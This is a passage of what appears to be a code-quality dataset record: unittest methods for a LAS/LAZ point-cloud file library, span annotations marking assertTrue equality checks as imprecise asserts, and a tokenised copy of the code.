self.FileObject.intensity\n self.assertTrue((i == list(i2)))", "metadata": "root.LasWriterTestCase.test_intensity", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 216 }, { "content": " def test_return_num(self):\n \"\"\"Writing and testing return_num dimension\"\"\"\n rn = [i + 1 for i in self.FileObject.return_num]\n self.FileObject.return_num = rn\n rn2 = self.FileObject.get_return_num()\n self.assertTrue((rn == list(rn2)))", "metadata": "root.LasWriterTestCase.test_return_num", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 222 }, { "content": " def test_num_returns(self):\n \"\"\"Writing and testing num_returns dimension\"\"\"\n nr = [i + 1 for i in self.FileObject.num_returns]\n self.FileObject.num_returns = nr\n nr2 = self.FileObject.get_num_returns()\n self.assertTrue((nr == list(nr2)))", "metadata": "root.LasWriterTestCase.test_num_returns", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 233 }, { "content": " def test_scan_dir_flag(self):\n \"\"\"Writing and testing scan_dir_flag dimension\"\"\"\n sdf = [flip_bit(x) for x in self.FileObject.scan_dir_flag]\n self.FileObject.scan_dir_flag = sdf\n sdf2 = self.FileObject.get_scan_dir_flag()\n self.assertTrue((sdf == list(sdf2)))", "metadata": "root.LasWriterTestCase.test_scan_dir_flag", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 239 }, { "content": " def test_edge_flight_line(self):\n \"\"\"Writing and testing edge_flight_line dimension\"\"\"\n efl = [flip_bit(x) for x in self.FileObject.edge_flight_line] \n self.FileObject.edge_flight_line = efl\n efl2 = self.FileObject.get_edge_flight_line()\n self.assertTrue((efl == list(efl2)))", "metadata": "root.LasWriterTestCase.test_edge_flight_line", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 245 }, { "content": " def test_classification(self):\n \"\"\"Writing and testing classification byte.\"\"\"\n c1 = [x + 1 for x in self.FileObject.classification]\n self.FileObject.classification = c1\n c2 = [x for x in self.FileObject.get_classification()]\n self.assertTrue((c1 == c2))", "metadata": "root.LasWriterTestCase.test_classification", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 251 }, { "content": " def test_synthetic(self):\n \"\"\"Writing and testing synthetic\"\"\"\n s1 = [flip_bit(x) for x in self.FileObject.synthetic] \n self.FileObject.synthetic = s1 \n s2 = self.FileObject.get_synthetic()\n self.assertTrue((s1 == list(s2)))", "metadata": "root.LasWriterTestCase.test_synthetic", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 257 }, { "content": " def test_key_point(self):\n \"\"\"Writing and testing key point\"\"\"\n k1 = [flip_bit(x) for x in self.FileObject.key_point] \n self.FileObject.key_point = k1\n k2 = self.FileObject.get_key_point()\n self.assertTrue((k1 == list(k2)))", "metadata": "root.LasWriterTestCase.test_key_point", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 263 }, { "content": " def test_withheld(self):\n \"\"\"Writing and testing withheld\"\"\"\n w1 = [flip_bit(x) for x in self.FileObject.withheld] \n self.FileObject.withheld = w1\n w2 = self.FileObject.get_withheld()\n self.assertTrue((w1 == list(w2)))", "metadata": "root.LasWriterTestCase.test_withheld", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 269 }, { "content": " def test_scan_angle_rank(self):\n \"\"\"Writing and testing scan angle rank\"\"\"\n ar1 = [i-1 for i in self.FileObject.scan_angle_rank]\n ar1 = [max(0, x) for x in ar1]\n self.FileObject.scan_angle_rank = ar1\n ar2 = self.FileObject.get_scan_angle_rank()\n self.assertTrue((ar1 == list(ar2)))", "metadata": "root.LasWriterTestCase.test_scan_angle_rank", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 275 }, { "content": " def test_user_data(self):\n \"\"\"Writing and testing user data\"\"\"\n ud1 = [i+1 for i in self.FileObject.user_data]\n self.FileObject.user_data = ud1\n ud2 = self.FileObject.get_user_data()\n self.assertTrue((ud1 == list(ud2)))", "metadata": "root.LasWriterTestCase.test_user_data", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 282 }, { "content": " def test_pt_src_id(self):\n \"\"\"Writing and testing point source id\"\"\"\n p1 = [i+1 for i in self.FileObject.user_data]\n self.FileObject.user_data = p1\n p2 = self.FileObject.get_user_data()\n self.assertTrue((p1 == list(p2)))", "metadata": "root.LasWriterTestCase.test_pt_src_id", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 288 }, { "content": " def test_gps_time(self):\n \"\"\"Writing and testing gps time\"\"\"\n g1 = [i+1 for i in self.FileObject.gps_time]\n self.FileObject.gps_time = g1\n g2 = self.FileObject.get_gps_time()\n self.assertTrue((g1 == list(g2)))", "metadata": "root.LasWriterTestCase.test_gps_time", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 294 }, { "content": " def test_red(self):\n \"\"\"Writing and testing red\"\"\"\n r1 = [i+1 for i in self.FileObject.red]\n self.FileObject.red = r1\n r2 = self.FileObject.get_red()\n self.assertTrue((r1 == list(r2)))", "metadata": "root.LasWriterTestCase.test_red", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 300 }, { "content": " def test_green(self):\n \"\"\"Writing and testing green\"\"\"\n g1 = [i+1 for i in self.FileObject.green]\n self.FileObject.green = g1\n g2 = self.FileObject.get_green()\n self.assertTrue((g1 == list(g2)))", "metadata": "root.LasWriterTestCase.test_green", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 306 }, { "content": " def test_blue(self):\n \"\"\"Writing and testing blue\"\"\"\n b1 =[i+1 for i in self.FileObject.blue]\n self.FileObject.blue = b1\n b2 = self.FileObject.get_blue()\n self.assertTrue((b1 == list(b2)))", "metadata": "root.LasWriterTestCase.test_blue", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 312 }, { "content": " def test_vlr_defined_dimensions2(self):\n \"\"\"Testing VLR defined dimension API\"\"\"\n File2 = File.File(self.output_tempfile, mode = \"w\", header = self.FileObject.header)\n File2.define_new_dimension(\"test_dimension\", 5, \"This is a test.\")\n File2.X = self.FileObject.X\n self.assertTrue(File2.test_dimension[500] == 0)\n File2.close(ignore_header_changes = True)", "metadata": "root.LasWriterTestCase.test_vlr_defined_dimensions2", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 318 }, { "content": " def test_file_src(self):\n \"\"\"Testing file_src\"\"\"\n f1 = self.FileObject.header.filesource_id + 1\n self.FileObject.header.filesource_id = f1\n f2 = self.FileObject.header.get_filesourceid()\n self.assertTrue(f1 == f2) ", "metadata": "root.LasHeaderWriterTestCase.test_file_src", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 374 }, { "content": " def test_glob_encode(self):\n \"\"\"Testing Global Encoding\"\"\"\n g1 = self.FileObject.header.global_encoding + 1\n self.FileObject.header.global_encoding = g1\n g2 = self.FileObject.header.get_global_encoding()\n self.assertTrue(g1 == g2)", "metadata": "root.LasHeaderWriterTestCase.test_glob_encode", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 389 }, { "content": " def test_padding(self):\n \"\"\"Testing Padding\"\"\"\n x1 = list(self.FileObject.X)\n self.FileObject.header.set_padding(10)\n self.FileObject.header.set_padding(1000)\n x2 = list(self.FileObject.X)\n self.assertTrue((list(x1) == list(x2)))", "metadata": "root.LasHeaderWriterTestCase.test_padding", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 419 }, { "content": " def test_data_offset(self):\n \"\"\"Testing data offset\"\"\"\n x1 = list(self.FileObject.X )\n self.FileObject.header.data_offset = 400\n self.assertEqual(self.FileObject.header.get_dataoffset(), 400)\n x2 = list(self.FileObject.X)\n self.assertTrue((list(x1) == list(x2)))", "metadata": "root.LasHeaderWriterTestCase.test_data_offset", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 426 }, { "content": " def test_date(self):\n \"\"\"Testing Date\"\"\"\n d1 = self.FileObject.header.date\n self.assertTrue(d1 == None)\n from datetime import datetime\n d2 = datetime(2007,12,10)\n self.FileObject.header.date = d2\n d3 = self.FileObject.header.get_date()\n self.assertEqual(d2, d3)", "metadata": "root.LasHeaderWriterTestCase.test_date", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 433 }, { "content": " def test_point_recs_by_return(self):\n \"\"\"Testing point records by return\"\"\"\n r1 = [x + 1 for x in self.FileObject.header.point_return_count]\n self.FileObject.header.point_return_count = r1\n r2 = self.FileObject.header.get_pointrecordsbyreturncount()\n self.assertTrue(r1 == r2)", "metadata": "root.LasHeaderWriterTestCase.test_point_recs_by_return", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 443 }, { "content": " def test_min_max_update(self):\n \"\"\"Testing the update min/max function\"\"\"\n x = list(self.FileObject.X)\n x[0] = max(x) + 1\n y = list(self.FileObject.Y)\n y[0] = max(y) + 1\n z = list(self.FileObject.Z)\n z[0] = max(z) + 1\n self.FileObject.X = x\n self.FileObject.Y = y\n self.FileObject.Z = z\n self.FileObject.header.update_min_max()\n file_max = self.FileObject.header.max\n self.assertTrue(file_max == [self.FileObject.x[0], self.FileObject.y[0], self.FileObject.z[0]])", "metadata": "root.LasHeaderWriterTestCase.test_min_max_update", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 449 }, { "content": " def test_histogram(self):\n \"\"\"Testing the update_histogram functon\"\"\"\n h1 = self.FileObject.header.point_return_count\n self.FileObject.header.update_histogram()\n h2 = self.FileObject.header.point_return_count\n self.assertTrue(h1 == h2)", "metadata": "root.LasHeaderWriterTestCase.test_histogram", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 463 }, { "content": " def test_offset(self):\n \"\"\"Testing offset\"\"\"\n o1 = self.FileObject.header.offset\n o1[0] += 1\n self.FileObject.header.offset = o1\n o2 = self.FileObject.header.get_offset()\n self.assertTrue(o1 == o2)", "metadata": "root.LasHeaderWriterTestCase.test_offset", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 469 }, { "content": " def test_scale(self):\n \"\"\"Testing Scale\"\"\"\n s1 = self.FileObject.header.scale\n s1[0] += 1\n self.FileObject.header.scale = s1\n s2 = list(self.FileObject.header.get_scale())\n self.assertTrue(s1 == s2)", "metadata": "root.LasHeaderWriterTestCase.test_scale", "header": "['class', 'LasHeaderWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 476 }, { "content": " def test_using_barebones_header(self):\n \"\"\"Testing file creation using barebones header\"\"\"\n header_object = header.Header()\n\n File2 = File.File(self.output_tempfile, mode = \"w\", \n header = header_object)\n self.assertTrue(File2.header.version == \"1.2\") \n\n X = list(self.File1.X)\n Y = list(self.File1.Y)\n Z = list(self.File1.Z)\n File2.X = X\n File2.Y = Y\n File2.Z = Z\n self.assertTrue((list(X) == list(File2.get_x())))\n self.assertTrue((list(Y) == list(File2.get_y())))\n self.assertTrue((list(Z) == list(File2.get_z())))\n File2.close(ignore_header_changes = True)", "metadata": "root.LasWriteModeTestCase.test_using_barebones_header", "header": "['class', 'LasWriteModeTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 510 }, { "content": " def test_using_existing_header(self):\n \"\"\"Test file creation using an existing header\"\"\"\n header_object = self.File1.header\n File2 = File.File(self.output_tempfile, mode = \"w\",\n header = header_object)\n X = list(self.File1.X)\n Y = list(self.File1.Y)\n Z = list(self.File1.Z)\n File2.Z = Z\n File2.Y = Y\n File2.X = X\n self.assertTrue((list(X) == list(File2.get_x())))\n self.assertTrue((list(Y) == list(File2.get_y())))\n self.assertTrue((list(Z) == list(File2.get_z())))\n File2.close(ignore_header_changes = True)\t\t", "metadata": "root.LasWriteModeTestCase.test_using_existing_header", "header": "['class', 'LasWriteModeTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 529 }, { "content": " def test_format_change_and_extra_bytes(self):\n \"\"\"Testing format change and extra_bytes\"\"\"\n File1 = self.File1\n new_header = File1.header.copy()\n new_header.format = 1.2\n new_header.data_format_id = 0\n new_header.data_record_length = 50\n \n \n File2 = File.File(self.output_tempfile, mode = \"w\", \n header = new_header)\n for dim in File1.point_format:\n in_dim = File1.reader.get_dimension(dim.name)\n if dim.name in File2.point_format.lookup:\n File2.writer.set_dimension(dim.name, in_dim)\n File2.extra_bytes = [\"Test\"] * len(File2)\n\n self.assertTrue(\"Test\" in str(File2.get_extra_bytes()[14]))\n File2.close(ignore_header_changes = True)", "metadata": "root.LasWriteModeTestCase.test_format_change_and_extra_bytes", "header": "['class', 'LasWriteModeTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 545 }, { "content": " def test_glob_encode(self):\n \"\"\"Testing v1.3 Global Encoding\"\"\"\n old = self.File1.header.gps_time_type\n self.assertTrue(old == '0')\n self.File1.header.gps_time_type = '1'\n self.assertEqual(self.File1.header.get_gps_time_type(), '1')\n \n File2 = File.File(self.output_tempfile, mode = \"w\", header = self.File1.header)\n self.assertEqual(self.File1.header.waveform_data_packets_internal,\n File2.header.waveform_data_packets_internal)\n self.assertEqual(self.File1.header.waveform_data_packets_external,\n File2.header.waveform_data_packets_external)\n self.assertEqual(self.File1.header.synthetic_return_num, \n File2.header.synthetic_return_num)\n File2.close(ignore_header_changes = True) ", "metadata": "root.LasV_13TestCase.test_glob_encode", "header": "['class', 'LasV_13TestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 576 }, { "content": " def test_glob_encode(self):\n \"\"\"Testing v1.4 Global Encoding\"\"\"\n old = self.File1.header.gps_time_type\n self.assertTrue(old == '0')\n self.File1.header.gps_time_type = '1'\n self.assertEqual(self.File1.header.get_gps_time_type(), '1')\n \n File2 = File.File(self.output_tempfile, mode = \"w\", header = self.File1.header)\n self.assertEqual(self.File1.header.waveform_data_packets_internal,\n File2.header.waveform_data_packets_internal)\n self.assertEqual(self.File1.header.waveform_data_packets_external,\n File2.header.waveform_data_packets_external)\n self.assertEqual(self.File1.header.synthetic_return_num, \n File2.header.synthetic_return_num)\n File2.close(ignore_header_changes = True) ", "metadata": "root.LasV_14TestCase.test_glob_encode", "header": "['class', 'LasV_14TestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 674 }, { "content": " def test_evlr(self):\n \"\"\" Testing v1.4 EVLR support\"\"\"\n File2 = File.File(self.output_tempfile, mode = \"w\", header = self.File1.header)\n self.assertEqual(self.File1.header.evlrs[0].to_byte_string(),\n File2.header.evlrs[0].to_byte_string())\n File2.points = self.File1.points\n outevlrs = []\n [outevlrs.append(File2.header.evlrs[0]) for i in xrange(50)]\n File2.header.evlrs = outevlrs\n File2.close()\n File2 = File.File(self.output_tempfile, mode = \"r\")\n self.assertTrue(len(File2.header.evlrs) == 50)\n File2.close(ignore_header_changes = True)", "metadata": "root.LasV_14TestCase.test_evlr", "header": "['class', 'LasV_14TestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 715 }, { "content": " def test_vlr_defined_dimensions(self):\n \"\"\"Testing v1.4 VLR defined dimensions (LL API)\"\"\"\n new_header = self.File1.header.copy()\n # Test basic numeric dimension\n new_dim_record1 = header.ExtraBytesStruct(name = \"Test Dimension 1234\", data_type = 5) \n # Test string dimension (len 3)\n new_dim_record2 = header.ExtraBytesStruct(name = \"Test Dimension 5678\", data_type = 22)\n # Test integer array dimension (len 3)\n new_dim_record3 = header.ExtraBytesStruct(name = \"Test Dimension 9\", data_type = 26) \n new_VLR_rec = header.VLR(user_id = \"LASF_Spec\", record_id = 4, \n VLR_body = (new_dim_record1.to_byte_string() + new_dim_record2.to_byte_string() + new_dim_record3.to_byte_string()))\n new_header.data_record_length += (19)\n File2 = File.File(self.output_tempfile, mode = \"w\", header = new_header, vlrs = [new_VLR_rec], evlrs = self.File1.header.evlrs)\n\n File2.X = self.File1.X\n\n File2._writer.set_dimension(\"test_dimension_1234\", [4]*len(self.File1))\n File2._writer.set_dimension(\"test_dimension_5678\", [\"AAA\"]*len(self.File1))\n File2._writer.set_dimension(\"test_dimension_9\", [[1,2,3]]*len(self.File1))\n self.assertTrue(all(np.array([\"AAA\"]*len(self.File1)) == File2.test_dimension_5678))\n self.assertTrue(all(np.array([4]*len(self.File1)) == File2.test_dimension_1234))\n self.assertTrue(list(File2.test_dimension_9[100]) == [1,2,3])\n File2.close(ignore_header_changes = True)", "metadata": "root.LasV_14TestCase.test_vlr_defined_dimensions", "header": "['class', 'LasV_14TestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 757 }, { "content": " def test_vlr_defined_dimensions2(self):\n \"\"\"Testing VLR defined dimensions (HL API)\"\"\"\n File2 = File.File(self.output_tempfile, mode = \"w\", header = self.File1.header)\n File2.define_new_dimension(\"test_dimension\", 5, \"This is a test.\")\n File2.define_new_dimension(\"test_dimension2\", 5, \"This is a test.\")\n\n File2.X = self.File1.X\n self.assertTrue(File2.test_dimension[500] == 0)\n self.assertTrue(File2.test_dimension2[123] == 0)\n File2.close(ignore_header_changes = True)", "metadata": "root.LasV_14TestCase.test_vlr_defined_dimensions2", "header": "['class', 'LasV_14TestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 782 }, { "content": " def test_read_data(self):\n \"\"\"Testing ability to read laz files.\"\"\"\n simple = './laspytest/data/simple.laz'\n File1 = File.File(simple, mode = \"r\")\n self.assertTrue(len(File1.X) == 1065)\n File1.close() ", "metadata": "root.LasLazReaderTestCase.test_read_data", "header": "['class', 'LasLazReaderTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 802 } ]
[ { "span": "self.assertTrue(self.p1.gps_time - 2*246504.221932 \n + self.gps_time[self.idx1] < 0.00001)", "start_line": 134, "start_column": 8, "end_line": 135, "end_column": 57 }, { "span": "self.assertTrue(self.p2.gps_time - 2*249774.658254 \n + self.gps_time[self.idx2] < 0.00001)", "start_line": 136, "start_column": 8, "end_line": 137, "end_column": 57 }, { "span": "self.assertTrue((list(x) == list(x2))) ", "start_line": 191, "start_column": 8, "end_line": 191, "end_column": 46 }, { "span": "self.assertTrue((list(y) == list(y2)))", "start_line": 201, "start_column": 8, "end_line": 201, "end_column": 46 }, { "span": "self.assertTrue((list(z) == list(z2)))", "start_line": 211, "start_column": 8, "end_line": 211, "end_column": 46 }, { "span": "self.assertTrue((i == list(i2)))", "start_line": 221, "start_column": 8, "end_line": 221, "end_column": 40 }, { "span": "self.assertTrue((rn == list(rn2)))", "start_line": 227, "start_column": 8, "end_line": 227, "end_column": 42 }, { "span": "self.assertTrue((nr == list(nr2)))", "start_line": 238, "start_column": 8, "end_line": 238, "end_column": 42 }, { "span": "self.assertTrue((sdf == list(sdf2)))", "start_line": 244, "start_column": 8, "end_line": 244, "end_column": 44 }, { "span": "self.assertTrue((efl == list(efl2)))", "start_line": 250, "start_column": 8, "end_line": 250, "end_column": 44 }, { "span": "self.assertTrue((c1 == c2))", "start_line": 256, "start_column": 8, "end_line": 256, "end_column": 35 }, { "span": "self.assertTrue((s1 == list(s2)))", "start_line": 262, "start_column": 8, "end_line": 262, "end_column": 41 }, { "span": "self.assertTrue((k1 == list(k2)))", "start_line": 268, "start_column": 8, "end_line": 268, "end_column": 41 }, { "span": "self.assertTrue((w1 == list(w2)))", "start_line": 274, "start_column": 8, "end_line": 274, "end_column": 41 }, { "span": "self.assertTrue((ar1 == list(ar2)))", "start_line": 281, "start_column": 8, "end_line": 281, "end_column": 43 }, { "span": "self.assertTrue((ud1 == list(ud2)))", "start_line": 287, "start_column": 8, "end_line": 287, "end_column": 43 }, { "span": "self.assertTrue((p1 == list(p2)))", "start_line": 293, "start_column": 8, "end_line": 293, "end_column": 41 }, { "span": "self.assertTrue((g1 == list(g2)))", "start_line": 299, "start_column": 8, "end_line": 299, "end_column": 41 }, { "span": "self.assertTrue((r1 == list(r2)))", "start_line": 305, "start_column": 8, "end_line": 305, "end_column": 41 }, { "span": "self.assertTrue((g1 == list(g2)))", "start_line": 311, "start_column": 8, "end_line": 311, "end_column": 41 }, { "span": "self.assertTrue((b1 == list(b2)))", "start_line": 317, "start_column": 8, "end_line": 317, "end_column": 41 }, { "span": "self.assertTrue(File2.test_dimension[500] == 0)", "start_line": 323, "start_column": 8, "end_line": 323, "end_column": 55 }, { "span": "self.assertTrue(f1 == f2) ", "start_line": 379, "start_column": 8, "end_line": 379, "end_column": 33 }, { "span": "self.assertTrue(g1 == g2)", "start_line": 394, "start_column": 8, "end_line": 394, "end_column": 33 }, { "span": "self.assertTrue((list(x1) == list(x2)))", "start_line": 425, "start_column": 8, "end_line": 425, "end_column": 47 }, { "span": "self.assertTrue((list(x1) == list(x2)))", "start_line": 432, "start_column": 8, "end_line": 432, "end_column": 47 }, { "span": "self.assertTrue(d1 == None)", "start_line": 436, "start_column": 8, "end_line": 436, "end_column": 35 }, { "span": "self.assertTrue(r1 == r2)", "start_line": 448, "start_column": 8, "end_line": 448, "end_column": 33 }, { "span": "self.assertTrue(file_max == [self.FileObject.x[0], self.FileObject.y[0], self.FileObject.z[0]])", "start_line": 462, "start_column": 8, "end_line": 462, "end_column": 103 }, { "span": "self.assertTrue(h1 == h2)", "start_line": 468, "start_column": 8, "end_line": 468, "end_column": 33 }, { "span": "self.assertTrue(o1 == o2)", "start_line": 475, "start_column": 8, "end_line": 475, "end_column": 33 }, { "span": "self.assertTrue(s1 == s2)", "start_line": 482, "start_column": 8, "end_line": 482, "end_column": 33 }, { "span": "self.assertTrue(File2.header.version == \"1.2\") ", "start_line": 516, "start_column": 8, "end_line": 516, "end_column": 54 }, { "span": "self.assertTrue((list(X) == list(File2.get_x())))", "start_line": 524, "start_column": 8, "end_line": 524, "end_column": 57 }, { "span": "self.assertTrue((list(Y) == list(File2.get_y())))", "start_line": 525, "start_column": 8, "end_line": 525, "end_column": 57 }, { "span": "self.assertTrue((list(Z) == list(File2.get_z())))", "start_line": 526, "start_column": 8, "end_line": 526, "end_column": 57 }, { "span": "self.assertTrue((list(X) == list(File2.get_x())))", "start_line": 540, "start_column": 8, "end_line": 540, "end_column": 57 }, { "span": "self.assertTrue((list(Y) == list(File2.get_y())))", "start_line": 541, "start_column": 8, "end_line": 541, "end_column": 57 }, { "span": "self.assertTrue((list(Z) == list(File2.get_z())))", "start_line": 542, "start_column": 8, "end_line": 542, "end_column": 57 }, { "span": "self.assertTrue(\"Test\" in str(File2.get_extra_bytes()[14]))", "start_line": 562, "start_column": 8, "end_line": 562, "end_column": 67 }, { "span": "self.assertTrue(old == '0')", "start_line": 579, "start_column": 8, "end_line": 579, "end_column": 35 }, { "span": "self.assertTrue(old == '0')", "start_line": 677, "start_column": 8, "end_line": 677, "end_column": 35 }, { "span": "self.assertTrue(len(File2.header.evlrs) == 50)", "start_line": 726, "start_column": 8, "end_line": 726, "end_column": 54 }, { "span": "self.assertTrue(list(File2.test_dimension_9[100]) == [1,2,3])", "start_line": 778, "start_column": 8, "end_line": 778, "end_column": 69 }, { "span": "self.assertTrue(File2.test_dimension[500] == 0)", "start_line": 789, "start_column": 8, "end_line": 789, "end_column": 55 }, { "span": "self.assertTrue(File2.test_dimension2[123] == 0)", "start_line": 790, "start_column": 8, "end_line": 790, "end_column": 56 }, { "span": "self.assertTrue(len(File1.X) == 1065)", "start_line": 806, "start_column": 8, "end_line": 806, "end_column": 45 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Las", "Read", "er", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "GPS", "Time_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fe", "tch", " ", "and", " ", "test", " ", "gps", "\\u", "time", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "p1_", "._", "gps", "\\u", "time_", "-_", "2_", "*_", "246", "504", ".2", "219", "32_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "self_", "._", "gps", "\\u", "time_", "[_", "self_", "._", "idx1_", "]_", "<_", "0.00001", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "p2_", "._", "gps", "\\u", "time_", "-_", "2_", "*_", "249", "774", ".6", "582", "54_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "self_", "._", "gps", "\\u", "time_", "[_", "self_", "._", "idx2_", "]_", "<_", "0.00001", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "x_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "X", " ", "dime", "nso", "n", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "X_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "X_", "=_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "x_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "x_", ")_", "==_", "list_", "(_", "x2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scale", "d\\u", "x_", "=_", "self_", "._", "File", "Object_", "._", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "x_", "=_", "scale", "d\\u", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "all_", "(_", "scale", "d\\u", "x_", "==_", "self_", "._", "File", "Object_", "._", "x_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "y_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Writ", "ing", " ", "and", " ", "testi", "ng", " ", "Y", " ", "dimension", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "[_", "i_", "+_", "1_", "for_", "i_", "in_", "self_", "._", "File", "Object_", "._", "Y_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "Y_", "=_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y2_", "=_", "self_", "._", "File", "Object_", "._", "get", "\\u", "y_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "(_", "list_", "(_", "y_", ")_", "==_", "list_", "(_", "y2_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scale", "d\\u", "y_", "=_", "self_", "._", "File", "Object_", "._", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "File", "Object_", "._", "y_", "=_", "scale", "d\\u", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "all_", "(_", "scale", "d\\u", "y_", "==_", "self_", "._", "File", "Object_", "._", "y_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Las", "Write", "r", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "z_", "(_", "self_", ")_", 